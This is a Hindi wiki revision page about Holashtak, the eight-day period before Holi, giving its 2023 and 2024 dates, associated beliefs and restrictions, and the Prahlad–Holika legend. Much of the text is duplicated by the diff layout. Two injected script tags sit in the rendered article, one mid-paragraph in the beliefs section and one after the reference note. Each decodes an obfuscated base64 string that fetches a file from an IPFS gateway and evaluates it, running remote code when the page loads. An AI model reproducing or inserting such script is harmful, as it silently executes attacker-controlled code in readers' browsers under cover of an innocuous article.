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'''होलाष्टक''' शब्द [[होली]] और अष्टक दो शब्दों से मिलकर बना है। जिसका भावार्थ होता है होली के आठ दिन। इसकी शुरुआत [[होलिका दहन]] के सात दिन पहले और होली खेले जाने वाले दिन के आठ दिन पहले होती है और [[धुलेंडी]] के दिन से इसका समापन हो जाता है। यानी कि [[फाल्गुन]] [[शुक्ल पक्ष]] [[अष्टमी]] से शुरू होकर [[पूर्णिमा]] तक होलाष्टक रहता है। अष्टमी तिथि से शुरू होने कारण भी इसे होलाष्टक कहा जाता है। दूसरे शब्दों में हम भी कह सकते हैं कि हमें होली आने की पूर्व सूचना होलाष्टक से प्राप्त होती है। इसी दिन से होली उत्सव के साथ-साथ होलिका दहन की तैयारियां भी शुरू हो जाती है।
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'''होलाष्टक''' शब्द 'होली' और 'अष्टक' दो शब्दों से मिलकर बना है, जिसका भावार्थ होता है- '[[होली]] के आठ दिन'। इसकी शुरुआत [[होलिका दहन]] से सात दिन पहले और [[होली]] खेले जाने वाले दिन के आठ दिन पहले होती है और [[धुलेंडी]] के दिन से इसका समापन हो जाता है। यानी कि [[फाल्गुन]] [[शुक्ल पक्ष]] [[अष्टमी]] से शुरू होकर [[पूर्णिमा]] तक होलाष्टक रहता है। अष्टमी तिथि से शुरू होने कारण भी इसे 'होलाष्टक' कहा जाता है। दूसरे शब्दों में हम कह सकते हैं कि हमें होली आने की पूर्व सूचना होलाष्टक से प्राप्त होती है। इसी दिन से होली उत्सव के साथ-साथ होलिका दहन की तैयारियां भी शुरू हो जाती हैं।
==होलाष्टक (वर्ष 2023)==
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==होलाष्टक (वर्ष 2024)==
वर्ष [[2023]] में 'होलाष्टक' [[27 फ़रवरी]] से प्रारम्भ होकर [[7 मार्च]] तक रहेगा। [[होली]] से पहले 8 दिनों का समय 'होलाष्टक' कहा जाता है। होली के 8 दिन पूर्व फाल्गुन मास के शुक्ल पक्ष की अष्टमी से होलाष्टक लग जाता है, जो पूर्णिमा तक जारी रहता है। ऐसे में इन 8 दिनों में कोई भी शुभ काम नहीं किया जाता। होलाष्टक के इन 8 दिनों को वर्ष का सबसे अशुभ समय माना जाता है। इन आठ दिनों में क्रमश: [[अष्टमी]] तिथि को [[चंद्रमा]], [[नवमी]] को [[सूर्य]], दशमी को [[शनि ग्रह|शनि]], [[एकादशी]] को [[शुक्र ग्रह|शुक्र]], [[द्वादशी]] को [[बृहस्पति ग्रह|गुरु]], [[त्रयोदशी]] को [[बुध ग्रह|बुध]] एवं [[चतुर्दशी]] को [[मंगल ग्रह|मंगल]] तथा [[पूर्णिमा]] को [[राहु]] उग्र रूप लिए माने जाते हैं, जिसकी वजह से इस दौरान सभी शुभ कार्य वर्जित माने गए हैं।
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वर्ष [[2024]] में 'होलाष्टक' फाल्गुन माह के [[शुक्ल पक्ष]] की [[अष्टमी|अष्टमी तिथि]] [[17 मार्च]], 2024 से शुरू होंगे और [[फाल्गुन पूर्णिमा]] [[24 मार्च]], 2024 पर समाप्त होंगे। इस दिन [[होलिका दहन]] होगा और [[25 मार्च]], 2024 को रंगवाली [[होली]] खेली जाएगी।
  
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[[होली]] से पहले 8 दिनों का समय 'होलाष्टक' कहा जाता है। होली के 8 दिन पूर्व फाल्गुन मास के शुक्ल पक्ष की अष्टमी से होलाष्टक लग जाता है, जो पूर्णिमा तक जारी रहता है। ऐसे में इन 8 दिनों में कोई भी शुभ काम नहीं किया जाता। होलाष्टक के इन 8 दिनों को वर्ष का सबसे अशुभ समय माना जाता है। इन आठ दिनों में क्रमश: [[अष्टमी]] तिथि को [[चंद्रमा]], [[नवमी]] को [[सूर्य]], दशमी को [[शनि ग्रह|शनि]], [[एकादशी]] को [[शुक्र ग्रह|शुक्र]], [[द्वादशी]] को [[बृहस्पति ग्रह|गुरु]], [[त्रयोदशी]] को [[बुध ग्रह|बुध]] एवं [[चतुर्दशी]] को [[मंगल ग्रह|मंगल]] तथा [[पूर्णिमा]] को [[राहु]] उग्र रूप लिए माने जाते हैं, जिसकी वजह से इस दौरान सभी शुभ कार्य वर्जित माने गए हैं।
 
==मान्यताएँ==
 
==मान्यताएँ==
होलाष्टक के शुरुआती दिन में ही होलिका दहन के लिए 2 डंडे स्थापित किये जाते हैं। जिसमें से एक को [[होलिका]] तथा दूसरे को [[प्रह्लाद]] माना जाता है। शास्त्रीय मान्यताओं के अनुसार जिस क्षेत्र में होलिका दहन के लिए डंडा स्थापित हो जाता है, उस क्षेत्र में होलिका दहन तक कोई भी शुभ कार्य नहीं किया जाता। अन्यथा अमंगल फल मिलते हैं। क्योंकि होलिका दहन की परम्परा को सनातन [[धर्म]] को मानने वाले सभी मानते हैं इसलिए होलाष्टक की अवधि में [[हिंदू]] [[संस्कृति]] के कुछ संस्कार और शुभ कार्यों की शुरुआत वर्जित है। लेकिन किसी के जन्म और मृत्यु के पश्चात् किए जाने वाले कृत्यों की मनाही नहीं की गई है। तभी को कई स्थानों पर धुलेंडी वाले दिन ही अन्नप्राशन संस्कार की परम्परा है। अत: प्रसूतिका सूतक निवारण, जातकर्म, अंतेष्ठि आदि संस्कारों की मनाही नहीं की गई है। देश के कई हिस्सों में होलाष्टक नहीं मानते। लोक मान्यता के अनुसार कुछ तीर्थस्थान जैसे शतरुद्रा, विपाशा, इरावती एवं पुष्कर सरोवर के अलावा बाकी सब स्थानों पर होलाष्टक का अशुभ प्रभाव नहीं होता है इसलिए अन्य स्थानों में [[विवाह]] इत्यादि शुभ कार्य बिना परेशानी हो सकते हैं। फिर भी शास्त्रीय मान्यताओं के अनुसार होलाष्टक की अवधि में शुभ कार्य वर्जित हैं। अत: हमें भी इनसे बचना चाहिए।
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होलाष्टक के शुरुआती दिन में ही होलिका दहन के लिए 2 डंडे स्थापित किये जाते हैं। जिसमें से एक को [[होलिका]] तथा दूसरे को [[प्रह्लाद]] माना जाता है। शास्त्रीय मान्यताओं के अनुसार जिस क्षेत्र में होलिका दहन के लिए डंडा स्थापित हो जाता है, उस क्षेत्र में होलिका दहन तक कोई भी शुभ कार्य नहीं किया जाता अन्यथा अमंगल फल मिलते हैं, क्योंकि होलिका दहन की परम्परा को सनातन धर्म को मानने वाले सभी मानते हैं। इसलिए होलाष्टक की अवधि में [[हिंदू]] [[संस्कृति]] के कुछ [[संस्कार]] और शुभ कार्यों की शुरुआत वर्जित है। लेकिन किसी के जन्म और मृत्यु के पश्चात् किए जाने वाले कृत्यों की मनाही नहीं की गई है। तभी तो कई स्थानों पर धुलेंडी वाले दिन ही [[अन्नप्राशन संस्कार]] की परम्परा है।
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अत: प्रसूतिका सूतक निवारण, जातकर्म, [[अंत्येष्टि संस्कार|अंत्येष्टि]] आदि संस्कारों की मनाही नहीं की गई है। देश के कई हिस्सों में होलाष्टक नहीं मानते। लोक मान्यता के अनुसार कुछ तीर्थस्थान जैसे शतरुद्रा, [[विपाशा नदी|विपाशा]], [[इरावती नदी|इरावती]] एवं [[पुष्कर झील|पुष्कर सरोवर]] के अलावा बाकी सब स्थानों पर होलाष्टक का अशुभ प्रभाव नहीं होता है। इसलिए अन्य स्थानों में [[विवाह]] इत्यादि शुभ कार्य बिना परेशानी हो सकते हैं। फिर भी शास्त्रीय मान्यताओं के अनुसार होलाष्टक की अवधि में शुभ कार्य वर्जित हैं। अत: हमें भी इनसे बचना चाहिए।
 
==होलिका दहन में होलाष्टक की विशेषता==
 
==होलिका दहन में होलाष्टक की विशेषता==
 
[[चित्र:Holi-Holika-Dahan-Mathura.jpg|left|thumb|[[होलिका दहन]], [[मथुरा]]]]
 
[[चित्र:Holi-Holika-Dahan-Mathura.jpg|left|thumb|[[होलिका दहन]], [[मथुरा]]]]
[[होलिका]] पूजन करने के लिये होली से आठ दिन पहले होलिका दहन वाले स्थान को [[गंगाजल]] से शुद्ध कर उसमें सूखे उपले, सूखी लकडी, सूखी ख़ास व होली का डंडा स्थापित कर दिया जाता है। जिस दिन यह कार्य किया जाता है, उस दिन को होलाष्टक प्रारम्भ का दिन भी कहा जाता है। जिस गांव, क्षेत्र या मौहल्ले के चौराहे पर पर यह होली का डंडा स्थापित किया जाता है। होली का डंडा स्थापित होने के बाद संबन्धित क्षेत्र में होलिका दहन होने तक कोई शुभ कार्य संपन्न नहीं किया जाता है। सबसे पहले इस दिन, होलाष्टक शुरु होने वाले दिन होलिका दहन स्थान का चुनाव किया जाता है। इस दिन इस स्थान को गंगा जल से शुद्ध कर, इस स्थान पर होलिका दहन के लिये लकडियां एकत्र करने का कार्य किया जाता है। इस दिन जगह-जगह जाकर सूखी लकडियां विशेष कर ऐसी लकडियां जो सूखने के कारण स्वयं ही पेडों से टूटकर गिर गई हों, उन्हें एकत्र कर चौराहे पर एकत्र कर लिया जाता है। होलाष्टक से लेकर होलिका दहन के दिन तक प्रतिदिन इसमें कुछ लकडियां डाली जाती है। इस प्रकार होलिका दहन के दिन तक यह लकडियों का बड़ा ढेर बन जाता है। इस दिन से होली के [[रंग]] फिजाओं में बिखरने लगते हैं। अर्थात होली की शुरुआत हो जाती है। बच्चे और बड़े इस दिन से हल्की फुलकी होली खेलनी प्रारम्भ कर देते हैं।<ref name="होली">{{cite web |url=http://astrobix.com/indian_festivals/holi/holi_holaastak.aspx |title=होलाष्टक प्रारम्भ |accessmonthday= 19 मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= होली|language=हिंदी }} </ref>
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होलिका पूजन करने के लिये [[होली]] से आठ दिन पहले [[होलिका दहन]] वाले स्थान को [[गंगाजल]] से शुद्ध कर उसमें सूखे उपले, सूखी लकडी, सूखी ख़ास व होली का डंडा स्थापित कर दिया जाता है। जिस दिन यह कार्य किया जाता है, उस दिन को होलाष्टक प्रारम्भ का दिन भी कहा जाता है। जिस गांव, क्षेत्र या मौहल्ले के चौराहे पर पर यह होली का डंडा स्थापित किया जाता है। होली का डंडा स्थापित होने के बाद संबन्धित क्षेत्र में होलिका दहन होने तक कोई शुभ कार्य संपन्न नहीं किया जाता है। सबसे पहले इस दिन, होलाष्टक शुरु होने वाले दिन होलिका दहन स्थान का चुनाव किया जाता है।
==होलाष्टक में कार्य निषेध==
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होलाष्टक मुख्य रुप से [[पंजाब]] और [[उत्तरी भारत]] में मनाया जाता है। होलाष्टक के दिन से एक ओर जहां उपरोक्त कार्यो का प्रारम्भ होता है। वहीं कुछ कार्य ऐसे भी है जिन्हें इस दिन से नहीं किया जाता है। यह निषेध अवधि होलाष्टक के दिन से लेकर होलिका दहन के दिन तक रहती है। अपने नाम के अनुसार होलाष्टक होली के ठीक आठ दिन पूर्व शुरु हो जाते हैं। होलाष्टक के मध्य दिनों में 16 संस्कारों में से किसी भी [[संस्कार]] को नहीं किया जाता है। यहां तक की अंतिम संस्कार करने से पूर्व भी शान्ति कार्य किये जाते हैं। इन दिनों में 16 संस्कारों पर रोक होने का कारण इस अवधि को शुभ नहीं माना जाता है।<ref name="होली"/>  
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इस दिन इस स्थान को गंगाजल से शुद्ध कर, इस स्थान पर होलिका दहन के लिये लकडियां एकत्र करने का कार्य किया जाता है। इस दिन जगह-जगह जाकर सूखी लकडियां विशेष कर ऐसी लकडियां जो सूखने के कारण स्वयं ही पेडों से टूटकर गिर गई हों, उन्हें एकत्र कर चौराहे पर एकत्र कर लिया जाता है। होलाष्टक से लेकर होलिका दहन के दिन तक प्रतिदिन इसमें कुछ लकडियां डाली जाती है। इस प्रकार होलिका दहन के दिन तक यह लकडियों का बड़ा ढेर बन जाता है। इस दिन से [[होली]] के [[रंग]] फिजाओं में बिखरने लगते हैं अर्थात होली की शुरुआत हो जाती है। बच्चे और बड़े इस दिन से हल्की फुलकी होली खेलनी प्रारम्भ कर देते हैं।<ref name="होली">{{cite web |url=http://astrobix.com/indian_festivals/holi/holi_holaastak.aspx |title=होलाष्टक प्रारम्भ |accessmonthday= 19 मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= होली|language=हिंदी }} </ref>
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==कार्य निषेध==
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होलाष्टक मुख्य रुप से [[पंजाब]] और [[उत्तरी भारत]] में मनाया जाता है। होलाष्टक के दिन से एक ओर जहां उपरोक्त कार्यो का प्रारम्भ होता है। वहीं कुछ कार्य ऐसे भी है जिन्हें इस दिन से नहीं किया जाता है। यह निषेध अवधि होलाष्टक के दिन से लेकर होलिका दहन के दिन तक रहती है। अपने नाम के अनुसार होलाष्टक होली के ठीक आठ दिन पूर्व शुरु हो जाते हैं। होलाष्टक के मध्य दिनों में 16 संस्कारों में से किसी भी [[संस्कार]] को नहीं किया जाता है। यहां तक की अंतिम संस्कार करने से पूर्व भी शान्ति कार्य किये जाते हैं। इन दिनों में 16 संस्कारों पर रोक होने का कारण इस अवधि को शुभ नहीं माना जाता है।<ref name="होली"/>
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==कथा==
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पौराणिक कथा के अनुसार [[होलिका दहन]] से 8 दिन पहले यानी कि [[विष्णु|भगवान विष्णु]] के परम भक्त [[प्रह्लाद]] को उनके पिता [[[[हिरण्यकशिपु]]]] ने बहुत प्रताड़ित किया था। प्रह्लाद को श्रीहरि की भक्ति से दूर करने के लिए हिरण्यकशिपु ने सात दिनों तक कई यातनाएं दी थीं। आठवें दिन हिरण्यकशिपु की बहन होलिका ने अपनी गोद में बिठाकर प्रह्लाद को भस्म करने की कोशिश लेकिन वह नाकाम हुई।
  
 
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==संबंधित लेख==
 
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05:44, 15 मार्च 2024 के समय का अवतरण

होलाष्टक
प्रह्लाद को गोद में बिठाकर बैठी होलिका
अनुयायी हिंदू, भारतीय
प्रारम्भ पौराणिक काल
तिथि फाल्गुन शुक्ल पक्ष अष्टमी से फाल्गुन पूर्णिमा तक

17 मार्च से 24 मार्च, 2024

धार्मिक मान्यता होलाष्टक के शुरुआती दिन में ही होलिका दहन के लिए 2 डंडे स्थापित किये जाते हैं। जिसमें से एक को होलिका तथा दूसरे को प्रह्लाद माना जाता है। शास्त्रीय मान्यताओं के अनुसार जिस क्षेत्र में होलिका दहन के लिए डंडा स्थापित हो जाता है, उस क्षेत्र में होलिका दहन तक कोई भी शुभ कार्य नहीं किया जाता।
अन्य जानकारी होली से पहले 8 दिनों का समय 'होलाष्टक' कहा जाता है। होली के 8 दिन पूर्व फाल्गुन मास के शुक्ल पक्ष की अष्टमी से होलाष्टक लग जाता है, जो पूर्णिमा तक जारी रहता है।
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होलाष्टक शब्द 'होली' और 'अष्टक' दो शब्दों से मिलकर बना है, जिसका भावार्थ होता है- 'होली के आठ दिन'। इसकी शुरुआत होलिका दहन से सात दिन पहले और होली खेले जाने वाले दिन के आठ दिन पहले होती है और धुलेंडी के दिन से इसका समापन हो जाता है। यानी कि फाल्गुन शुक्ल पक्ष अष्टमी से शुरू होकर पूर्णिमा तक होलाष्टक रहता है। अष्टमी तिथि से शुरू होने कारण भी इसे 'होलाष्टक' कहा जाता है। दूसरे शब्दों में हम कह सकते हैं कि हमें होली आने की पूर्व सूचना होलाष्टक से प्राप्त होती है। इसी दिन से होली उत्सव के साथ-साथ होलिका दहन की तैयारियां भी शुरू हो जाती हैं।

होलाष्टक (वर्ष 2024)

वर्ष 2024 में 'होलाष्टक' फाल्गुन माह के शुक्ल पक्ष की अष्टमी तिथि 17 मार्च, 2024 से शुरू होंगे और फाल्गुन पूर्णिमा 24 मार्च, 2024 पर समाप्त होंगे। इस दिन होलिका दहन होगा और 25 मार्च, 2024 को रंगवाली होली खेली जाएगी।

होली से पहले 8 दिनों का समय 'होलाष्टक' कहा जाता है। होली के 8 दिन पूर्व फाल्गुन मास के शुक्ल पक्ष की अष्टमी से होलाष्टक लग जाता है, जो पूर्णिमा तक जारी रहता है। ऐसे में इन 8 दिनों में कोई भी शुभ काम नहीं किया जाता। होलाष्टक के इन 8 दिनों को वर्ष का सबसे अशुभ समय माना जाता है। इन आठ दिनों में क्रमश: अष्टमी तिथि को चंद्रमा, नवमी को सूर्य, दशमी को शनि, एकादशी को शुक्र, द्वादशी को गुरु, त्रयोदशी को बुध एवं चतुर्दशी को मंगल तथा पूर्णिमा को राहु उग्र रूप लिए माने जाते हैं, जिसकी वजह से इस दौरान सभी शुभ कार्य वर्जित माने गए हैं।

मान्यताएँ

Blockquote-open.gif होलिका पूजन करने के लिये होली से आठ दिन पहले होलिका दहन वाले स्थान को गंगाजल से शुद्ध कर उसमें सूखे उपले, सूखी लकडी, सूखी ख़ास व होली का डंडा स्थापित किया जाता है। जिस दिन यह कार्य किया जाता है, उस दिन को होलाष्टक प्रारम्भ का दिन कहा जाता हैBlockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> होलाष्टक के शुरुआती दिन में ही होलिका दहन के लिए 2 डंडे स्थापित किये जाते हैं। जिसमें से एक को होलिका तथा दूसरे को प्रह्लाद माना जाता है। शास्त्रीय मान्यताओं के अनुसार जिस क्षेत्र में होलिका दहन के लिए डंडा स्थापित हो जाता है, उस क्षेत्र में होलिका दहन तक कोई भी शुभ कार्य नहीं किया जाता अन्यथा अमंगल फल मिलते हैं, क्योंकि होलिका दहन की परम्परा को सनातन धर्म को मानने वाले सभी मानते हैं। इसलिए होलाष्टक की अवधि में हिंदू संस्कृति के कुछ संस्कार और शुभ कार्यों की शुरुआत वर्जित है। लेकिन किसी के जन्म और मृत्यु के पश्चात् किए जाने वाले कृत्यों की मनाही नहीं की गई है। तभी तो कई स्थानों पर धुलेंडी वाले दिन ही अन्नप्राशन संस्कार की परम्परा है।

अत: प्रसूतिका सूतक निवारण, जातकर्म, अंत्येष्टि आदि संस्कारों की मनाही नहीं की गई है। देश के कई हिस्सों में होलाष्टक नहीं मानते। लोक मान्यता के अनुसार कुछ तीर्थस्थान जैसे शतरुद्रा, विपाशा, इरावती एवं पुष्कर सरोवर के अलावा बाकी सब स्थानों पर होलाष्टक का अशुभ प्रभाव नहीं होता है। इसलिए अन्य स्थानों में विवाह इत्यादि शुभ कार्य बिना परेशानी हो सकते हैं। फिर भी शास्त्रीय मान्यताओं के अनुसार होलाष्टक की अवधि में शुभ कार्य वर्जित हैं। अत: हमें भी इनसे बचना चाहिए।

होलिका दहन में होलाष्टक की विशेषता

होलिका पूजन करने के लिये होली से आठ दिन पहले होलिका दहन वाले स्थान को गंगाजल से शुद्ध कर उसमें सूखे उपले, सूखी लकडी, सूखी ख़ास व होली का डंडा स्थापित कर दिया जाता है। जिस दिन यह कार्य किया जाता है, उस दिन को होलाष्टक प्रारम्भ का दिन भी कहा जाता है। जिस गांव, क्षेत्र या मौहल्ले के चौराहे पर पर यह होली का डंडा स्थापित किया जाता है। होली का डंडा स्थापित होने के बाद संबन्धित क्षेत्र में होलिका दहन होने तक कोई शुभ कार्य संपन्न नहीं किया जाता है। सबसे पहले इस दिन, होलाष्टक शुरु होने वाले दिन होलिका दहन स्थान का चुनाव किया जाता है।

इस दिन इस स्थान को गंगाजल से शुद्ध कर, इस स्थान पर होलिका दहन के लिये लकडियां एकत्र करने का कार्य किया जाता है। इस दिन जगह-जगह जाकर सूखी लकडियां विशेष कर ऐसी लकडियां जो सूखने के कारण स्वयं ही पेडों से टूटकर गिर गई हों, उन्हें एकत्र कर चौराहे पर एकत्र कर लिया जाता है। होलाष्टक से लेकर होलिका दहन के दिन तक प्रतिदिन इसमें कुछ लकडियां डाली जाती है। इस प्रकार होलिका दहन के दिन तक यह लकडियों का बड़ा ढेर बन जाता है। इस दिन से होली के रंग फिजाओं में बिखरने लगते हैं अर्थात होली की शुरुआत हो जाती है। बच्चे और बड़े इस दिन से हल्की फुलकी होली खेलनी प्रारम्भ कर देते हैं।[1]

कार्य निषेध

होलाष्टक मुख्य रुप से पंजाब और उत्तरी भारत में मनाया जाता है। होलाष्टक के दिन से एक ओर जहां उपरोक्त कार्यो का प्रारम्भ होता है। वहीं कुछ कार्य ऐसे भी है जिन्हें इस दिन से नहीं किया जाता है। यह निषेध अवधि होलाष्टक के दिन से लेकर होलिका दहन के दिन तक रहती है। अपने नाम के अनुसार होलाष्टक होली के ठीक आठ दिन पूर्व शुरु हो जाते हैं। होलाष्टक के मध्य दिनों में 16 संस्कारों में से किसी भी संस्कार को नहीं किया जाता है। यहां तक की अंतिम संस्कार करने से पूर्व भी शान्ति कार्य किये जाते हैं। इन दिनों में 16 संस्कारों पर रोक होने का कारण इस अवधि को शुभ नहीं माना जाता है।[1]

कथा

पौराणिक कथा के अनुसार होलिका दहन से 8 दिन पहले यानी कि भगवान विष्णु के परम भक्त प्रह्लाद को उनके पिता [[हिरण्यकशिपु]] ने बहुत प्रताड़ित किया था। प्रह्लाद को श्रीहरि की भक्ति से दूर करने के लिए हिरण्यकशिपु ने सात दिनों तक कई यातनाएं दी थीं। आठवें दिन हिरण्यकशिपु की बहन होलिका ने अपनी गोद में बिठाकर प्रह्लाद को भस्म करने की कोशिश लेकिन वह नाकाम हुई।


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शोध

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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 होलाष्टक प्रारम्भ (हिंदी) होली। अभिगमन तिथि: 19 मार्च, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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